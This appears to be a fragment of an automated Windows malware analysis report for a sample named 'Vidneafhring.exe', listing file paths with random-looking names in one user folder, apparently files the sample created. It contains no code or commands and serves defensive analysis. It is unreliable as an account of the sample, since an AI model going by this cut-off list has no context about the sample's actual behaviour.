C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\antistoffet.jpg

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\blaahattens.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\brunjernstens.jpg

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\coeternity.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\denudate.jpg

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\direktoratsafgrelsen.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\hoveddirektoriet.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\kemoterapeutiske.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\necrectomy.txt

Windows Analysis Report
Vidneafhring.exe